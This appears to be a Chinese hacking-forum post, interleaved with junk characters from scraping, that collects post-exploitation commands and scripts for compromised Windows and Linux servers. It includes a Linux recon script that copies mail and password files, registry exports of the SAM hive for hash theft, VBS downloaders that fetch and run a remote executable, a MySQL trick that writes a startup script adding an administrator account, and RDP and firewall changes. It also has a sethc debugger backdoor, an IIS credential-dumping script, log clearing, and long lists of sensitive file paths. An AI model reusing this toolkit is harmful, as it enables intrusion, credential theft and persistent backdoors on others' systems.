, W1 I7 ]' f) H" Y* l) U1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
" w& H6 b) l! e+ Jalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
- W' x3 z2 W9 Z: w9 S* W8 N+ R" }关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
3 P% f. P5 o5 W! U0 r! Utoken 漏洞补丁号 KB956572
Churrasco          kb952004
! U! i3 C  ?! J7 u. @2 r: \) y) i/ O命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：
4 l5 O3 q" f( x, U) R
@echo off
% A2 a4 Y! m% E' |( decho #########system info collection
systeminfo
* [# c4 }! Z( J  K5 A3 Fver
hostname
4 h. x& s" {2 |net user
7 w$ K) S) B+ G, f0 O3 Dnet localgroup
, h/ \: y, u* m+ z9 g" |  fnet localgroup administrators
* H" [4 Z; T$ q" g# P0 F1 \, fnet user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query
& W4 e) t1 _4 i; M7 N, B2 {
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
1 O/ v# o- `1 w5 K# O  J" E4 tipconfig/all
3 [% I0 g0 [6 U6 g' W, r: oroute print
7 a4 ]# V& M6 Z* E: ~4 farp -a
netstat -anipconfig /displaydns
echo
echo #######service############
% `- c. T8 W2 s$ D. V1 v6 y! Dsc query type= service state= all
  p( Y4 d& D; E8 t, N7 @& Eecho #######file-##############
. W1 v/ E1 u( b1 v, gcd \
tree -F
( e: t0 l7 H1 l( r. t+ i9 J- Ufor linux：
3 p6 w' W" m+ t3 q; i: C+ F
9 D8 M( t1 e/ o7 Q6 q: _% t$ ^5 W#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
- K7 r$ I6 {6 K* V" E' Cecho #######basic infomation##
+ m7 F+ R6 D& [3 z; l9 jcat /proc/meminfo
8 D; ^6 I  w7 |) }+ i7 ^, techo
4 e7 o- k# ^7 {! O0 _: lcat /proc/cpuinfo
* ?) l- E  `7 y* _echo
" X, g& d+ k5 ?3 W3 J# zrpm -qa 2>/dev/null
) g" O# U* \( q! R& [7 g######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


$ I7 g  h5 p0 G( G: k0 |echo 'u'r id is' `id`
2 V) {* L" M! _% wecho ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set
3 f3 c6 ]. q% o- c
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
4 Q5 y7 T% h  ?  {& ~$ `& u! ?cat /etc/hosts
hostname
# n+ A0 t3 i+ J4 S. oipconfig -a
arp -v
echo ########user####
" v5 I# j0 V' d5 c6 i8 rcat /etc/passwd|grep -i sh
2 h& j* [" V/ H7 ~/ h( x
echo ######service####
1 y  Y- G+ q4 ochkconfig --list

' ?  W" n1 J( Y4 K6 efor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

2 G( y8 U+ Q' _- u; t2 W2 y& N: ?locate passwd >/tmp/password 2>/dev/null
sleep 5
# p8 [1 x8 q8 @$ `locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
, k( R3 [; V8 C5 P7 Z5 msleep 5
$ D9 J9 A# N+ ~locate config >>/tmp/sysconfig 2>/dev/null
9 d  |$ \; a, ?: a& dsleep 5
' F. ^. d6 t7 V, L* Q
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
2 o5 u* }% N1 D- U# }& d0 R注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
" s* W, a, J( f' `. \  v* w& W3 Secho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
  u4 f$ z- t( ~. }  L- i) yecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
2 ^3 d# k* u% V! \cftmon.vbs

2
( q" E7 u8 ~; N4 nOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
  [- Z$ j& M$ f  Z7 DSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
+ j) n) ^# b* M- X" I- ]sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
7 d2 W3 ?' M8 n9 s
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
2 k. c0 J) e0 Y* s$ d
9 |; b( D- e" `7 C4 c) V' k当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
: ]1 a0 B! v5 L——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2 w  Z, g* n) y2 {( B, ~2 u2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
1 d7 ~/ x$ _5 |" _, m: U7 E! DREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
% X3 n) z: b6 c7 e————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
$ [. O+ v; @! v3 L8 q' r1 ainsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
1 p& \& s- }. {& Y4 x/ h3 z5 j" winsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
& [3 \5 _7 C7 t+ \" D8 i7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
; l6 @: ^4 F* T- \, B_____
' r7 ~, c# r. |6 _8、for /d %i in (d:\freehost\*) do @echo %i

; A) r& Z% O# v0 |7 u* c9 Q; }列出d的所有目录
  
1 S. I% R& B& H  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来
- x. w, m' y/ X
2.for /r %i in (*.exe) do @echo %i
8 w9 m: `2 k4 C( U" e8 C4 s  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

' L, B6 h5 k8 {& T4 z; H; Yfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
/ B' a6 V6 U9 C7 C" o; L
" Y, c% L4 n  ]( _2 ^2 @3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

6 _- o* q: v& r9 \8 Z3 b. f" d  delims=后的空格是分隔符 tokens是取第几个位置
——————————
1 P: s5 f3 m& z7 }! |●注册表:
1.Administrator注册表备份:
, M! Q+ j2 ^! i" f: ]; ~0 {  kreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
  ~$ r9 a* p5 W7 j1 W. B
" A- c2 k+ O& K5 `2.修改3389的默认端口:
( g: F/ u. }1 d: r4 `  N  I0 z9 c8 @* s" P2 hHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
+ \7 `" j: G4 R% z: u修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
# ]" t, Z; x/ f7 w: V  ~" v
8 R$ l- T9 F0 S$ C8 z* W7 q6.IPSec默认免除项88端口(需重启):
% [4 S% ^1 M8 h7 Y0 p6 creg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
% ]7 }/ L% P3 h" g
; W1 A) c) D1 A7 |7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
/ ~8 m; _$ u7 Z0 b/ T: L
" Q4 H, K* s; `1 h( ^8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

9 m3 M1 d; z" _5 ]7 Oreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
( b- e/ R+ W5 u& y, o5 D星外vbs(注：测试通过，好东西）
# y* Q4 f5 I- Q0 ^Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
7 i  S# }& F& SchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
$ t' C& O9 ]/ c# x. T1 E5 m+ Bset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
6 {, o" t4 j. X. Iexit for
msgbox("error!")
3 v# W, L5 e1 S8 pwscript.quit
0 b# f! F# ?4 Z8 e4 bend if
) k0 H( K" t3 t& w( S- F) Qserverbindings=IIS.serverBindings
; j1 r2 m/ m5 x, P0 s  BServerComment=iis.servercomment
2 d" ~, I4 f3 ^( u$ Bset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
- K& v. b( [2 W; U2 [1 [* J. ^2 Qpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
, G) u# ?. A. JNext
wscript.echo list
Set ObjService=Nothing
8 `! n" [4 G$ h' bwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
$ p- k: o8 z: O2 B0 ^WScript.Quit
0 D7 ?: H% `3 \  V" ]: x复制代码
. p0 d8 L2 C7 T7 b. |' ~4 M----------------------2011新气象，欢迎各位补充、指正、优化。----------------
6 ?( ]- X+ |$ B4 O8 M# ?1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
1 G& N9 W. t* k2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
6 y+ O" I) z- Y3 x$ S将folder.htt文件，加入以下代码：
- g1 Z1 F- s& @<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
# @' z" h2 h. _5 ^1 L" p</OBJECT>
5 h. R3 z: j! ]% p复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
* }5 U/ [7 G& m' A3 h 原因是ASP大马里有这样的代码：（没有就没事儿了）
" N$ z" M% _' Y url=request.severvariables("url")
. V# V3 G1 j. b( { 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
4 {0 r: G- l# p0 P. e url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

  A% J  s8 s/ N& g5 q  S' z==============================================================
LINUX常见路径：
# p0 U" |+ L5 o9 X
) O/ D& u: A* m6 v1 b) ~8 P- u/etc/passwd
/etc/shadow
5 f% S( t4 `, x, i' c% \5 }- C/etc/fstab
* f% m' B, c, m- m- R5 z& _$ F/etc/host.conf
/etc/motd
+ t) |6 B! @  i! W1 Z" d" B/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
, ?. K1 _" ^. n, c/var/www/htdocs/index.html
9 \) Q, N6 ^" o/var/httpd/conf/php.ini
% t6 W$ m$ ]. F2 x: S4 X5 K) Q/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
1 l1 `' L; K# H- J- J/var/httpd/htdocs/index.html
% S* }) o5 x# q. A& N3 T/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
! I0 b: b/ K/ M7 n/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
8 ?2 @, c5 q& t/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
1 k+ e" E& L$ J/ o' N1 j/usr/local/httpd2.2/htdocs/index.php
2 g, `0 b# `, {& @3 Y, a+ o/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
0 x0 U2 e/ A) D. Z6 P& w4 H4 V/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
% L2 C* W3 N% x7 g/ ~" ?4 k$ \% I/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
) k  U; O, `# k3 T/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
* y; l+ j0 [' v9 z4 G/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
4 R; D- H* Q4 W5 @  J4 l' p7 S: u/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
2 u2 N: O& L1 n. T/etc/apache2/vhosts.d/00_default_vhost.conf
0 I$ L# d5 n# I/etc/apache2/sites-available/default
; o! ~  J2 J4 x3 \* i/etc/phpmyadmin/config.inc.php
# `& P7 h/ e6 I3 O) f. _7 v; u/etc/mysql/my.cnf
3 `6 H$ M" _1 p6 b* t% \/etc/httpd/conf.d/php.conf
$ d* r8 d7 w& n! c/ o/etc/httpd/conf.d/httpd.conf
( C2 C, l2 e1 w) v* i/ b. G  K/etc/httpd/logs/error_log
- U" p! C3 A) [4 L7 x/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
- x- w2 J9 f+ W; V! q0 f: s/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
( A- \- K) j2 h/home/apache2/conf/httpd.conf
* a* G& I/ j; i7 a6 B0 a9 m5 @/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
3 [/ i) m9 h# s  G1 H/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
# p% H2 C) K2 e# X* C/var/www/logs/access.log
/usr/local/apache/logs/error_log
, f: A7 y2 i  I0 O- J, ?/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
2 Q9 `9 U+ z, d$ _& z% ?! T$ o7 r/var/log/error_log
/var/log/error.log
  Q, i& [% r( R, Q6 z* \/var/log/access_log
8 w% T: p3 o" v+ |/ S' }/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
) R/ J$ F. a4 ^. k% P/bin/php.ini
# J. I3 c" U0 l$ l- D. C! e9 D/etc/init.d/httpd
. }+ V; R+ R# B8 f  i9 @/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
2 p) \! p# J* e- C9 L, J$ i3 y/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
! `- l1 N" G& F' ]7 g9 D: G* K/usr/local/php/lib/php.ini
  V' w3 w1 u2 C! `2 ^/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
& e' v& z# r7 l+ V( h% N( d/usr/local/php4/lib/php.ini
9 r( X+ W3 Y, k. y) ~( G1 I0 J/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
# T2 A8 I# C  F1 U* S+ U0 G/usr/local/php5/php5.ini
# y% {% G' O/ X! M( p# n$ W% _/ m/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/ _  Q% k1 v: `6 T/ T8 X/usr/local/apache2/conf/php.ini
1 K+ L2 |3 T9 C' P/etc/php4.4/fcgi/php.ini
- H3 a+ M& x0 V& U( B/etc/php4/apache/php.ini
9 D( H4 D' l* S. u4 z+ V$ E$ z/etc/php4/apache2/php.ini
9 \9 u8 d7 O! S0 k/etc/php5/apache/php.ini
5 G2 l  c& }0 q) }  R/etc/php5/apache2/php.ini
* Z3 t8 a) q" k7 m/ C! h6 U9 N/etc/php/php.ini
/etc/php/php4/php.ini
* b+ W1 Q2 h7 m4 g5 Z. r( W/etc/php/apache/php.ini
0 _2 [& Q) u  _/etc/php/apache2/php.ini
/web/conf/php.ini
% n0 S0 J2 d8 P2 o/usr/local/Zend/etc/php.ini
( z9 f, d  M7 u; m: L  S5 L/opt/xampp/etc/php.ini
$ O, K; `3 F, n' k/ D0 Y, ]" J/var/local/www/conf/php.ini
! r# x% @* ]  v: v/var/local/www/conf/httpd.conf
& x$ j& r3 e3 K. K! N/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
: ?* N0 A2 o1 ~3 U- `5 o+ s/etc/php5/cgi/php.ini
+ u( Q' I* |, y9 }/php5/php.ini
  G) t" u. D1 ^7 [' s/ ~% t/php4/php.ini
/php/php.ini
5 c* u7 K; X! S# l2 g: P/PHP/php.ini
/apache/php/php.ini
0 e, R( f& D8 m/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
: s/ ^7 X+ a2 }1 J9 i) u( Q$ [$ S/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
  x; i% o& H% M/ d/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
6 B7 r! A9 w& h& Q  q0 Z6 `/var/log/mysql/mysql.log
/ n. W+ k4 L4 D5 N" o, q( }+ `/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
2 a! l  `& M  i9 r3 f/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
* h9 G. `' W8 d& w1 e/usr/local/cpanel/logs/access_log
* o2 j0 n: m7 h# t/usr/local/cpanel/logs/error_log
- L% _5 M% f4 O7 V4 `% b/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
" n8 _3 |: q, n( E4 K$ l' i/usr/local/cpanel/logs/stats_log
( z- g8 I1 }; z, n" H/usr/local/share/examples/php4/php.ini
( E! [  b" Q3 M* {9 I/usr/local/share/examples/php/php.ini

9 }- A; }0 X3 Y2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

& N; \" Y6 k( V8 I: B* ~* c( Qc:\windows\php.ini
c:\boot.ini
) t2 Y: _* r& @$ E. cc:\1.txt
c:\a.txt

3 P0 m3 q6 U6 O( ^8 ec:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
$ ]9 z( Y1 g1 [8 p' O7 m& z! }C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
3 l5 D: w* P9 ~4 y0 i
1 B6 p* U0 @/ I6 D$ r6 [c:\hzhost\databases\url.asp

7 x" W) L7 C& Mc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
0 Y( E. N/ H6 ~- a
( b" E/ }" E' M; y- oC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
8 i# V: V# V$ E9 [# `9 \C:\WINDOWS\web.config
c:\web\index.html
; Q2 ~  P. h  Z  |; S; Mc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
4 C/ u) c& a& H7 T, M" Xc:\web\index.asp
3 h7 Z* `; d# o' g. o- H) B+ e! Sc:\www\index.asp
$ l$ E& N' Q6 }' V" m8 oc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
+ c; W1 C. d! K' lc:\www\index.php
/ A) |1 S9 Z7 i* z, [. H8 x5 jc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
/ B  E9 S1 V9 i0 r. p. Jc:\www\default.html
c:\WWWROOT\default.html
" `2 ]" b- \8 y2 uc:\website\default.html
; s; N: L& v, C; Z8 mc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
2 l1 }( r4 t7 L. V) N4 d8 fc:\WWWROOT\default.asp
$ x4 @) M8 C! q' l$ z# Z9 s$ i* hc:\web\default.php
" N, g9 ?1 a# M1 w! ]c:\www\default.php
9 r& V, u3 Y( }0 ]+ ~9 v5 oc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
) K0 o! s; J; `) i3 v8 Qc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
1 Q3 U. X1 l% `4 H8 KC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
& d( z5 d1 b% h) tC:\Program Files\Internet Explorer\IEXPLORE.EXE
( ]- s; M$ i* d5 M: C) s; sC:\Program Files\winrar\rar.exe
6 d$ L% |# [2 N: LC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
5 N" O$ c% ^- o2 T# XC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
' I  ?% M7 T8 s) c' o+ mc:\ravbin\store.ini
2 r& T  D5 j2 N3 f" qc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
' U" Z# S. B, |; XC:\Documents and Settings\All Users\Start Menu\desktop.ini
+ }# a9 f+ T% vC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
2 r1 A2 g1 q0 g% IC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
" B" C; _/ s  m# P2 ?1 `5 [C:\Documents and Settings\Administrator\My Documents\1.txt
: C! ?( a1 F/ _% c  t$ aC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
% O* H7 T* ^9 I1 P5 H) q/ V7 ]E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
/ ~5 j1 Y/ E! [+ `1 ^4 E/ `0 eC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
- i" L0 f/ ^2 s4 DC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
  |: Q. P" B! g+ ^7 L/ U- WC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
" }: \$ ^( h8 u& u) r! I6 h( LC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
1 a. O, q) @' o2 N5 w) w3 \C:\Program Files\MySQL\MySQL Server 5.0\COPYING
( i1 E/ K5 R5 p; E: a4 VC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
6 E9 e0 h3 Q! w4 ~' Kc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
' n9 q3 T! v, \$ ]$ [& ZC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
- l8 X: O  ^# }) c- e0 xC:\WINDOWS\system32\inetsrv\w3wp.exe
5 V4 a, A! u- F, q6 JC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
! D+ J9 j- i8 F( p7 i4 o- w/ H$ dC:\WINDOWS\system32\config\sam
6 b; n9 j. Z# _6 d& nC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
! e- h# _/ s: F$ Qc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
" F; G2 m/ [, |, z$ Rc:\Apache2\bin\Apache.exe
* C1 {" f0 m5 A8 l: pc:\Apache2\php\license.txt
5 n- _2 s  Q) h& H3 E* S! YC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
; |9 r. G$ i. `/usr/share/tomcat6/bin/startup.sh
0 a- Z3 b$ \9 U$ D- i! ~2 U# M/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
* y% G: O! e6 i* k+ h) Z! Qc:\Program Files\Tencent\qq\qq.exe
! u  c% g: p) Y% oc:\Program Files\Tencent\qq\bin\qq.exe
% j  m- v7 Z3 x; B. dc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
) \% ~- o( h4 K% v) jc:\Program Files\Tencent\qq\Users\All Users\Registry.db
4 x) f+ `7 k2 n1 D3 v& E' L9 f  NC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
7 O7 G1 T: m8 z6 {8 nc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
) Y" O/ ]% a" I" W6 @# yC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
& _4 L1 P- E% C5 i+ U! \C:\Program Files\tencent\Foxmal\accounts.cfg
# A6 q5 |; a8 N1 [5 l; ^C:\Program Files\LeapFTP 3.0\LeapFTP.exe
4 Z. G) l9 X' p+ j, R  e) `; DC:\Program Files\LeapFTP\LeapFTP.exe
